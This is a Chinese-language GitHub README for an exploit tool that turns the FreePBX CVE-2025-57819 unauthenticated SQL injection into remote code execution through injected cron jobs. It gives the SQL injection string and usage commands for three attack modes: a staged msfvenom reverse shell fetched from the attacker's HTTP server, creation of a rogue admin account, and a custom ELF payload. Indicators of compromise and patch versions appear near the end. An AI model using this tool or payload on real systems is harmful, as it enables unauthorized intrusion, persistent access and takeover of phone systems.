Jeanback1/CVE-2025-57819-exploit
GitHub: Jeanback1/CVE-2025-57819-exploit
针对 FreePBX CVE-2025-57819 未授权 SQL 注入漏洞的一体化利用工具,通过注入 cron 任务实现远程代码执行。
Stars: 2 | Forks: 0
# CVE-2025-57819 — FreePBX 未授权 SQLi 到 RCE
一个针对 **CVE-2025-57819** 的一体化漏洞利用工具。这是 FreePBX 的 endpoint 模块中存在的一个未授权 SQL 注入漏洞,可通过注入 cron 任务导致远程代码执行 (RCE)。
- **CVSS**: 9.8 (严重) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CISA KEV**: 2025 年 8 月 29 日添加
- **受影响版本**: Sangoma FreePBX 15, 16, 17,且 endpoint 模块版本 < 15.0.66 / < 16.0.89 / < 17.0.3
- **修复版本**: endpoint 15.0.66, 16.0.89, 17.0.3
## 漏洞概述
FreePBX 暴露了 `admin/ajax.php?module=FreePBX\modules\endpoint\ajax` endpoint,且无需身份验证 (**CWE-288**)。`brand` 参数未经清理 (**CWE-89**) 直接传入 SQL 查询中,使得攻击者可以向 `asterisk` 数据库注入任意 SQL 语句。
### 攻击链
```
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
```
## 漏洞利用功能
此漏洞利用工具支持三种模式:
### 1. 分阶段反弹 Shell (默认)
1. 通过 `msfvenom` 生成 `linux/x64/shell_reverse_tcp` 二进制文件
2. 启动 HTTP 服务器以提供该二进制文件
3. 启动 TCP 监听器以接收 shell
4. 通过 SQLi 注入 cron 任务,下载并执行该二进制文件
5. 当 cron 任务触发时,你将获得一个交互式 shell
6. 退出时清理注入的 cron 任务
```
python3 cve_2025_57819_aio.py
```
**示例:**
```
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
```
此操作使用 4452 端口作为反弹 shell,使用 4453 端口作为 HTTP 分阶段服务器。
### 2. 创建管理员用户 (`--create-user`)
通过 SQLi 创建一个新的 FreePBX 管理员账户。无需反弹 shell、无需回连、无需二进制文件。
```
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
```
### 3. 自定义 Payload (`--payload `)
使用你自己的 ELF 二进制文件,而不是通过 msfvenom 生成。
```
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
```
## 环境要求
- Python 3.6+
- `requests` 库 (`pip install requests`)
- **对于分阶段模式**: Metasploit (`msfvenom`) 或使用 `--payload` 指定的自定义 payload
- **对于 `--create-user` 模式**: 除了 Python + requests 之外无需其他要求
## 工作原理
### SQL 注入向量
易受攻击的 endpoint 为:
```
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=
```
`brand` 参数未经清理便被拼接到 SQL INSERT 语句中。
该漏洞利用工具构造的注入如下:
```
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','',NULL,'* * * * *',30,1,1) --
```
尾部的 `--` 会注释掉原始查询的剩余部分。
### Cron 执行
FreePBX 使用 Asterisk cron 子系统。Cron 任务每分钟检查一次。
当插入的任务的计划 (`* * * * *`) 匹配时,命令将以 `asterisk` 系统用户的身份运行。
### 清理
在会话结束后(或超时后),漏洞利用工具将发送 DELETE SQLi 请求,从 `cron_jobs` 中移除注入的 cron 任务。
## 入侵指标
- `asterisk.cron_jobs` 中存在带有随机模块/任务名称的意外条目
- 从 FreePBX 服务器发往外部 IP 高端口的出站 HTTP 请求
- 来自 `asterisk` 用户的反弹 shell 连接
- `ampusers` 中随机新增的管理员账户(如果使用 `--create-user` 模式)
## 缓解措施
将 endpoint 模块更新至已修复的版本:
- **15**: >= 15.0.66
- **16**: >= 16.0.89
- **17**: >= 17.0.3
## 参考链接
- [NVD — CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819)
- [GitHub 安全公告 — GHSA-m42g-xg4c-5f3h](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h)
- [CISA 已知被利用漏洞](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-57819)
- [watchTowr Labs](https://labs.watchtowr.com/)
- [FreePBX 社区公告](https://community.freepbx.org/t/security-advisory-please-lock-down-your-administrator-access/107203)
## 免责声明
本软件仅供教育和授权的安全测试目的使用。未经授权对你不拥有或未获得明确测试许可的系统使用本工具是违法行为。作者不对任何滥用行为承担责任。
标签:CISA项目, Python, 多线程, 字符串匹配, 无后门, 编程工具, 远程代码执行, 逆向工具